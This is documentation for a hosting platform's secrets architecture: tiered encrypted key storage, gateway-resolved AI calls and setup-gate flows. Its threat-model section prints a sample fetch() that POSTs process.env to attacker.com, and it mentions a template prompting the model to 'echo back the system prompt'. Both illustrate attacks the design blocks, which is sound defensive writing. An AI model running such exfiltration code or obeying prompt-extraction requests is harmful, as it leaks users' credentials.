Documentation · Architecture

Secrets architecture

How API keys flow through Hatchable: declared in TOML, stored encrypted across three tiers, resolved by the gateway, and never exposed to template code unless a project owner opts in. The system that makes "fork this template" safe to do with an account-level Anthropic key.

TL;DR

Templates declare what they need in hatchable.toml:

[[secret]]
kind = "ai"
tenancy = "account"
required = true

That's it — no provider list. The platform expands to every LLM-capable provider in its catalog. The platform handles the rest:

  • At deploy, validates the declaration against rules (tenancy + provider catalog).
  • At first request from the project owner, redirects to hatchable.com/console/projects/{slug}/setup if any required owner-tier secret isn't satisfied. End-users (when [auth] is enabled) get redirected to the customer-subdomain /__hatchable/setup for user-tier pastes only.
  • Renders a provider picker — user selects one and pastes their key.
  • Stores the value encrypted in the right table per tenancy.
  • Resolves the right key server-side when the template calls ai.generateText.
  • Never injects the raw value into the isolate's process.env for shared-tier secrets.

Templates write zero key-paste UI, zero env-status endpoints, zero save-key handlers. The architecture mirrors how [auth] works: declarative, platform-implemented.

The manifest

Every template's hatchable.toml can declare any number of [[secret]] blocks. At deploy time DeployService::resolveSecretsManifest validates and persists them on the project's secrets_manifest column. Downstream — the gate page, the middleware, the gateway, the SDK — all read from this single source of truth.

# A complete manifest example: AI provider (account-tier, BYOK)
# + Stripe (project-tier, owner's billing) + a custom integration key.

[[secret]]
kind = "ai"                 # shorthand for "any of these LLM providers"
tenancy = "account"           # cascade across all the owner's projects
required = true
providers = ["anthropic", "openai", "google"]
description = "Pick any AI provider. Templates use the 'sonnet' alias by default."

[[secret]]
key = "STRIPE_SECRET_KEY"
provider = "stripe"
tenancy = "project"           # project-only — owner's billing context
required = true
group = "stripe"             # UI groups paired keys (publishable+secret+webhook)

[[secret]]
key = "MY_CUSTOM_API_KEY"
provider = "custom"
tenancy = "project"
required = false
expose = true                 # raw value injected into process.env (project-tier only)

Three tenancies

The tenancy field is the most important decision in a secret declaration. It controls who sets the value, where it's stored, and how it's used.

project

Set by the project owner once

  • Stored in env_vars
  • Used for everyone interacting with the project
  • Owner pays the bill
  • Allows expose=true for raw access
  • Custom providers OK

account

Set by the Hatchable account holder

  • Stored in account_env_vars
  • Cascades across all the account's projects
  • Single source of truth — paste once
  • Always SDK-mediated, never expose
  • Catalog providers only

user

Set by each end-user inside the deployed app — for app-implemented integrations only

  • Stored in app_user_secrets
  • Scoped to (project, app_user_id, key)
  • Only valid for [[secret]] (raw app-internal values). SDK capabilities are account-scoped; per-end-user OAuth lives on [[api]] per_user = true.
  • App code reads with config.get(key, { req })
  • Requires [auth] enabled = true
SDK capabilities are owner-paid, account-scoped. The [ai] block (and future [email] / [payments] / [sms] blocks when their SDK helpers ship) doesn't take a tenancy field — credentials always live at the buyer's account level and cascade to every project they own. Multi-tenant apps using ai.generateText have the project owner pay for every end-user's calls. End-user BYOK works only when the app's own code calls a third-party API outside the managed SDK — for those, declare [[secret]] tenancy = "user" (raw value the buyer reads via config.get(key, { req })) or [[api]] per_user = true (per-end-user OAuth against a known provider).

When to pick each block

ScenarioDeclaration
"My app uses AI summaries (any provider works)"[ai] required = true
"My app uses Gemini specifically (grounded search)"[ai] pin = "google"
"My app calls Reddit / GitHub / Notion via OAuth"[[api]] auth = "oauth2" — see connect-an-external-api
"My app calls Linear with a long-lived API key"[[api]] auth = "api_key"
"Each end-user authorizes their own Notion workspace"[[api]] per_user = true
"Each end-user pastes their own custom API token"[[secret]] tenancy = "user" (read via config.get(key, { req }))
"Webhook signing secret / encryption pepper"[[secret]] — raw app-internal value
"A constant my code reads (e.g., DEFAULT_MODEL)"[[secret]] default = "..." — buyer can override

Provider catalog

The platform maintains a catalog of well-known providers at config/secrets_providers.php. Each entry knows its display name, icon, "get a key" URL, validation regex, supported model aliases, and whether it has an SDK helper. The setup page reads the catalog to render paste forms; the gateway reads it to resolve calls.

Provider catalog — what an operator's [[secret]] can declare:

CategoryProvidersSDK helper
LLManthropic · openai · google · groq · mistral · cohere · deepseekai.generateText / ai.streamText / ai.embed
Emailnone — built-in SMTP, no provider key requiredemail.send
Paymentsstripe(planned)
Communicationstwilio · slack(planned)
Codegithub(planned)
Customcustomn/a — project-tier only

Catalog rule: if a provider has no sdk_helper, it can't be declared at tenancy = "account" or "user". Shared tiers exist exclusively for SDK-mediated calls. Twilio and Slack will become account-tier-eligible once their SDK helpers ship; until then they're project-tier with expose = true if raw access is needed.

Logical model names

Hardcoding raw model ids like 'claude-sonnet-4-5-20250929' couples a template to one dated version. Provider-family aliases like 'sonnet' or 'gpt' let templates ask for "the current Sonnet" by name; the platform updates the underlying mapping when a new generation lands and your code keeps working.

AliasMeansResolves to (today)
'sonnet'Anthropic's mid-tier lineclaude-sonnet-4-6
'haiku'Anthropic's small/fast lineclaude-haiku-4-5
'opus'Anthropic's strongest reasoning lineclaude-opus-4-7
'gpt'OpenAI's general linegpt-5.5
'gpt-mini'OpenAI's small/fast linegpt-5.4-mini
'gemini'Google's small/fast line (default)gemini-3-flash-preview
'gemini-pro'Google's flagship linegemini-3.1-pro-preview

The gateway resolves the alias against whichever provider key the user has configured — 'sonnet' needs ANTHROPIC_API_KEY; 'gpt' needs OPENAI_API_KEY; 'gemini' needs GOOGLE_API_KEY. If the relevant provider has no key, the call returns a clear setup-required error pointing the user at the Setup page.

For "I don't care which family, use whatever the user has configured" — operators set their preferred default in the Setup page (AI_PROVIDER + AI_DEFAULT_MODEL) and call ai.generateText({}) with no model field. Cross-provider tier abstractions ('fast', 'balanced', 'smart') used to live here too but were removed — every new release from any provider re-curated a tier matrix that nobody wanted to maintain.

The three model-name forms ai.generateText accepts

// 1. Logical alias — RECOMMENDED for most templates.
await ai.generateText({ model: 'sonnet', messages });

// 2. Provider-prefixed — pin to a provider. Use when you
//    explicitly compare providers (LLM brand monitors) or have prompts
//    tuned to a specific model's quirks.
await ai.generateText({ model: 'anthropic.sonnet', messages });
await ai.generateText({ model: 'openai.gpt-4o', messages });

// 3. Raw model id — passes through verbatim. Locks you to that
//    exact version; avoid unless you have a reason.
await ai.generateText({ model: 'claude-sonnet-4-5', messages });
For new templates, default to logical aliases. They auto-upgrade as new model generations ship (platform updates the routing table; templates stay current). Provider-pinning and raw model ids are escape hatches when you genuinely need them.

SDK-only keys (the default)

The most important security property of Hatchable secrets: by default, declared keys never enter user code. They live on the platform's encrypted storage tables and are resolved server-side by the gateway whenever the SDK makes a call. The raw bytes are physically unreachable from any api/*.js handler — there is no process.env.ANTHROPIC_API_KEY to read, because the key was never injected into the isolate.

This isn't a convention agents have to follow. It's enforced by the deploy validator and the runtime. The four cases:

DeclarationSDK-only?Where the key lives
[ai] (or any capability block)✓ AlwaysGateway storage at account scope. No expose field on capability blocks — the gateway is the only path to the key.
[[api]] (any auth mode)✓ AlwaysGateway storage in api_credentials. Handler calls api.<name>.get(...); the access token is attached by the proxy and never enters the V8 isolate.
[[secret]] + tenancy = "user"✓ AlwaysGateway storage in app_user_secrets. Read via config.get(key, { req }) — the raw value is returned to the handler scoped to the signed-in end-user.
[[secret]] + tenancy = "project" (default)Default — yesProject-scoped storage. Gateway-mediated by default — read via config.get('KEY'); the raw value never enters process.env. Set expose = true on the declaration when handler code legitimately needs to read process.env.KEY directly (third-party npm packages that bypass the SDK, internal HMAC signing). See the expose = true section below.

So an agent cannot accidentally expose an AI key — there is no path. Even a malicious template can't write code that reads Alice's ANTHROPIC_API_KEY. It can call ai.generateText against Alice's key (running up her bill), but it cannot read the raw sk-ant-… string. There is no opcode in the runtime that materializes shared-tier values into the V8 isolate.

What you get for free with SDK-only keys:
  • Account-tier keys cascade across all an owner's forks — safe because they're never readable to any one fork's code.
  • User-tier keys (BYOK SaaS) — each end-user pastes their own key; another user of the same app can't read it.
  • The provider catalog supplies regex validation, the "get a key →" deep link, and the gateway routing rules. Templates write zero bespoke key-paste code.
  • Rotation is one paste in the settings UI, not a code change.

expose = true (the rare opt-out)

The single escape hatch from SDK-only-by-default. Use it when an npm library you've imported insists on reading the value off process.env directly — e.g., a custom HTTP wrapper that doesn't go through the SDK:

[[secret]]
key = "MY_CUSTOM_API_KEY"
tenancy = "project"           # project-tier only — see structural rule below
expose = true
required = true

Then in handler code:

const resp = await fetch('https://my-endpoint.com/api', {
  headers: { 'Authorization': 'Bearer ' + process.env.MY_CUSTOM_API_KEY },
});

Reach for this when you have to. The cost: any code in your project's runtime can read process.env.MY_CUSTOM_API_KEY. If you control the entire project, that's fine. If you fork from a template that uses third-party npm packages, audit them before adding expose = true.

Structural rule, enforced at deploy time: expose = true is only legal on tenancy = "project". Account-tier and user-tier secrets cannot be exposed — that's what makes them safe to share across forks and across end-users. The deploy validator rejects with a clear error if you try.

The setup gate

The customer-subdomain gate at /__hatchable/setup handles user-tier (BYOK) writes only — each end-user pastes their own API key on the subdomain where their app session lives. Project-tier and account-tier secrets are managed exclusively in the console at hatchable.com/console/projects/{slug}/setup. Owners hitting /__hatchable/setup on the customer subdomain are 302-redirected to the console (single domain, single session, no cross-domain cookie or token-in-URL surface for sensitive values).

When the project owner visits any URL on the project's subdomain, ProjectAccessMiddleware checks whether the manifest's required project-tier and account-tier secrets are satisfied. If not, the request is redirected to hatchable.com/console/projects/{slug}/setup — the console is the single place owner-tier secrets get pasted:

Owner flow (project / account tier — console-only) Browser ProjectAccessMiddleware Console │ │ │ │ GET https://my-app. │ │ │ hatchable.site/ │ │ ├─────────────────────────────▶│ │ │ │ Auth ✓, owner ✓ │ │ │ Required owner-tier secrets │ │ │ unsatisfied │ │ 302 → hatchable.com/ │ │ │ console/projects/{slug}/ │ │ │ setup │ │ │◀─────────────────────────────┤ │ │ │ │ GET hatchable.com/console/projects/{slug}/setup │ ├────────────────────────────────────────────────────────────────▶│ │ │ render console setup │ │ with manifest + │ │ provider catalog │ HTML (paste forms) │ │◀────────────────────────────────────────────────────────────┤ │ Paste, save, ?next= redirect back to my-app.hatchable.site/ │ End-user flow (user tier — customer subdomain via the gate) │ GET / (end user with app session, owner-tier already satisfied) ├─────────────────────────▶│ │ │ │ User-tier secret unsatisfied │ │ 302 → /__hatchable/ │ │ │ setup?next=/ │ │ │◀─────────────────────────┤ │ │ GET /__hatchable/setup │ │ ├──────────────────────────┼─────────────────────────────────▶│ SecretsController │ HTML (paste forms) — user-tier only │ render setup.blade │◀─────────────────────────┴──────────────────────────────────┤ (user-tier entries) │ POST /__hatchable/secrets/ANTHROPIC_API_KEY │ │ body: { value: "sk-ant-…", provider: "anthropic" } │ ├────────────────────────────────────────────────────────────▶│ writes app_user_secrets │ { ok: true } │ scoped (project, user) │◀────────────────────────────────────────────────────────────┤

The gate is platform-rendered; templates ship no setup UI. From the user's perspective, "this app needs config first" is built in like login is — same shape as [auth].

What lives where

CallerTier they configureWhere
Project owner (Hatchable account)project + accounthatchable.com/console/projects/{slug}/setup
End-user via [auth] enableduser (their own scope){slug}.hatchable.site/__hatchable/setup

The customer-subdomain JSON endpoints (GET /__hatchable/secrets, POST /__hatchable/secrets/{key}, DELETE /__hatchable/secrets/{key}) accept user-tier reads and writes only. Attempts to write project- or account-tier values through them return 410 Gone with a redirect_url pointing at the console.

The settings variant at /__hatchable/settings uses the same UI but never auto-redirects and lists user-tier optional secrets too. Templates link to it from a footer or settings menu when they want end-users to manage their own keys later.

Fork-time flow

Forking a template that declares tenancy = "account" for an account-tier secret is the most common pattern. The flow is designed so a frequent forker (someone who keeps trying out templates from the gallery) doesn't paste the same Anthropic key into 5 different forks:

┌────────────────────────┐ │ Alice's account │ Has ANTHROPIC_API_KEY in account_env_vars └────────────────────────┘ from a previous template setup │ │ fork "Worksheet Studio" ▼ ┌────────────────────────┐ │ New project created │ secrets_manifest declares: │ owned by Alice │ kind=ai tenancy=account required=true └────────────────────────┘ │ │ Alice visits the fork's URL ▼ ┌────────────────────────┐ │ ProjectAccessMiddleware │ Required account-tier secret check: │ │ does Alice's account have a key for │ │ any of the accepted providers? │ │ │ YES → no gate. App loads. the common case │ NO → 302 → /setup │ └────────────────────────┘

For Alice's first template, she paste-configures her Anthropic key once. Every fork after that re-uses it transparently.

Reading values

One read API: config.get(key, opts?). Walks user → project → account → manifest default server-side and returns the first hit. The raw value never enters template code unless the secret is project-tier with expose = true.

import { config, ai } from 'hatchable';

// Owner-tier read — gateway resolves project-then-account.
const model = await config.get('DEFAULT_MODEL');

// User-tier read — pass req so the gateway scopes to this user's session.
const userKey = await config.get('OPENAI_API_KEY', { req });

// Or skip the read entirely and let the SDK helper resolve user-tier:
const reply = await ai.generateText({ asUser: user.id, model, messages: [...] });

If the value is declared as required with no default and no human has pasted it, config.get throws a SetupRequired error with a setup_url. Browser-driven flows are caught by the platform's auto-injected modal runtime; non-interactive flows (cron, webhooks) handle the error explicitly.

Programmatic writes (rare)

Not every value arrives via paste. Computed values from OAuth callbacks, batch imports, or setup wizards use the SDK's env module:

import { env } from 'hatchable';

// Project-tier programmatic write (e.g. after OAuth)
await env.set('STRIPE_CONNECTED_ACCOUNT', account_id);

// Account-tier — cascades to all the owner's projects
await env.setForAccount('ANTHROPIC_API_KEY', value);

// Cleanup
await env.unset('OLD_KEY');
await env.unsetForAccount('OLD_KEY');
Agents do not write secret values. The MCP toolset has no set_env / list_env / delete_env. Build-time configuration goes in hatchable.toml via [[secret]] declarations (with a default for agent-known values, without for human-paste values). Run-time programmatic writes (OAuth callbacks etc.) use the in-app env.set SDK call, which runs inside an authenticated app handler — not from agent context.

Multi-tenant pattern

Hatchable templates fork into standalone multi-tenant SaaS apps where end users sign up directly on the fork's domain (no Hatchable account required for them). For managed SDK calls — ai.*, knowledge.*, browser.*, email.sendthe project owner is the only key-payer. End-user BYOK for SDK calls isn't a thing — capability blocks like [ai] are account-scoped by construction. If you want per-end-user credentials they have to be either a raw app-internal value ([[secret]] tenancy = "user", read via config.get(key, { req })) or a per-end-user OAuth flow against a known third-party ([[api]] per_user = true).

# Worksheet Studio, forked as ACME's teacher SaaS

[auth]
enabled = true                  # end users sign up on YOUR domain
providers = ["email", "google"]

# Project owner pays for AI — single key, every teacher's calls run through it
[[secret]]
kind     = "ai"
tenancy  = "account"          # cascades across all your forks, one paste
required = true

# Project owner pays for hosting; Stripe Connect to collect from teachers
[[secret]]
key      = "STRIPE_SECRET_KEY"
provider = "stripe"
tenancy  = "project"          # owner's Stripe — subscriptions go to them
required = true

# Each teacher pastes their own Google Calendar OAuth token (app calls Google directly)
[[secret]]
key      = "GOOGLE_CALENDAR_REFRESH_TOKEN"
kind     = "raw"
tenancy  = "user"             # per-teacher; app reads via config.get(key, { req })
required = false

End-user flow

  1. Teacher visits worksheets.acme.com (the fork's custom domain).
  2. Signs up via the fork's /signup (project's own auth — no Hatchable account).
  3. Calls a feature that uses ai.generateText. Runs against ACME's owner-tier key; ACME's Anthropic bill goes up by a few cents. The teacher pays ACME via Stripe Connect, ACME nets the margin. SetupRequired never fires for the teacher — the owner already configured the key in the console.
  4. Calls a feature that needs the teacher's Google Calendar. App handler reads config.get('GOOGLE_CALENDAR_REFRESH_TOKEN', { req }) — null first time. App returns a 412 (or just redirects) to its own OAuth-start route. Teacher OAuths with Google; callback writes the token via env.set scoped to the teacher's user_id (or, for first-paste flows, redirects through /__hatchable/setup which writes to app_user_secrets).
  5. Subsequent calls find the teacher's token and use it.

Hatchable is invisible to the teacher. They see ACME's product on ACME's domain. ACME pays the platform + AI; the teacher pays ACME and brings their own integrations.

[[secret]] schema reference

[[secret]]
key         = "FOO_API_KEY"      # env-var name (omit for kind=ai)
kind        = "raw"              # raw | ai (default raw)
tenancy     = "project"          # project | account | user (default project)
required    = false             # gate fires for unsatisfied required (default false)
expose      = false             # inject raw value into process.env (project-tier only)
default     = "value"            # agent-provided default; satisfies even when required=true
allowed     = ["a", "b"]         # enum constraint; override UI renders a select
provider    = "foo"              # catalog name; required at shared tiers
providers   = ["a", "b"]         # for kind=ai — narrows; omit to accept all catalog LLMs
description = "…"                # shown on the gate page card
group       = "foo"              # UI groups paired keys (e.g. stripe sk + pk)
unlocks     = ["foo"]            # freeform tags surfaced in catalog UI

Validation rules (deploy-time, hard-fail)

  • tenancy must be one of project | account | user.
  • kind must be one of raw | ai.
  • tenancy = "user" requires [auth] enabled = true.
  • expose = true only allowed on tenancy = "project".
  • default only allowed on tenancy = "project" (account cascades; user is per-end-user).
  • default must satisfy the allowed constraint when both are set.
  • An entry with a default never gates the owner — the default is the satisfaction. Override via the gate or settings page; override wins at read time.
  • For shared tiers (account/user): provider is required, must be in the catalog, must have an sdk_helper registered.
  • For [ai]: every name in providers (or the value of pin) must be a catalog LLM provider with an sdk_helper.
  • key must not be platform-reserved (HATCHABLE_*, NODE_ENV, PATH, etc.).
  • Same key can't be declared twice in the same manifest.

Auto-injected endpoints

Mounted on every project subdomain at /__hatchable/*. Templates never write these handlers; the platform owns them.

Method · PathWhat it does
GET /__hatchable/setupServer-rendered gate page. Auto-redirects to ?next= when all required secrets at the caller's tier are satisfied.
GET /__hatchable/settingsSame UI as setup; lists all secrets including optional. Non-blocking.
GET /__hatchable/secretsJSON manifest + status (set/unset) per declaration, filtered by caller's tier. Used by the gate UI and any custom client.
POST /__hatchable/secrets/{key}Save a secret. Body: { value, provider? }. Validates format against catalog regex; writes to right tier.
DELETE /__hatchable/secrets/{key}Clear a secret at the caller's tier.

Auth: project + account tiers require Hatchable account session (project owner). User tier requires the project's own [auth] session.

SDK helpers

One read API, one (rare) write API. See the SDK config reference for full signatures.

HelperUse for
config.get(key, opts?)Read a declared value. Tier-resolves; pass { req } for user-tier scoping. Throws SetupRequired when declared+required+unsatisfied.
config.expose(key, opts?)Same as get, plus mirrors the value into process.env[key]. Project-tier only.
env.set(key, value)Programmatic write (OAuth callbacks etc.). Runs inside an authenticated app handler — never from agent context.
env.setForAccount(key, value)Account-tier programmatic write (cascades)
env.unset(key) · env.unsetForAccount(key)Clear
ai.generateText({ asUser, … })Make an AI call using the specified user's tier secrets without ever materializing the raw key

Security model

The architecture's security guarantees, in order of strength:

LayerWhat it doesStrength
L1: Manifest-declared secrets stay server-sideTemplate code never holds raw values for shared-tier secrets. Gateway resolves them and makes upstream calls server-side.Load-bearing. The wall.
L2: expose = true forbidden on shared tiersStructural prohibition at deploy time. Account/user-tier secrets cannot have raw values reach the isolate.Load-bearing. Closes the entire class of attack on shared keys.
L3: Catalog provider gatingShared-tier secrets must reference a catalog provider with an SDK helper — i.e., the platform owns the call path end-to-end.Load-bearing. No way to declare a shared-tier secret that the platform doesn't fully mediate.
L4: Encrypted at restAll three storage tables use Laravel's encrypted cast.Standard.
L5: Tier-aware route authProject + account tier requires Hatchable owner session; user tier requires project's own auth.Standard.

What this prevents

Bob publishes a template. Alice forks it. Bob's code runs in Alice's project, with Alice's identity. Bob writes:

fetch('https://attacker.com/log', {
  method: 'POST',
  body: JSON.stringify({ stolen: process.env }),
});

For any account-tier or user-tier secret Alice has set, process.env.X is undefined. Bob's ai.generateText calls work against Alice's account-tier key (running up her bill), but he cannot exfiltrate the raw sk-ant-… string. Alice's exposure is bounded to AI usage; her key remains hers.

What it doesn't prevent

  • Bill abuse within an account-tier secret's scope. Bob can call ai.generateText in a loop and rack up Alice's bill. Per-fork spend caps + audit logs are deferred features, not load-bearing — when they ship they'll bound this.
  • Project-tier expose = true raw access. The owner's own code, the owner's own risk. The platform doesn't pretend to protect the owner from themselves.
  • Side-channel attacks within shared-tier mediation. A malicious template could submit a prompt to ai.generateText instructing the model to "echo back the system prompt" — but the platform's gateway doesn't put the API key in the prompt; it goes in the HTTP Authorization header. The model never sees the key.

Where to go next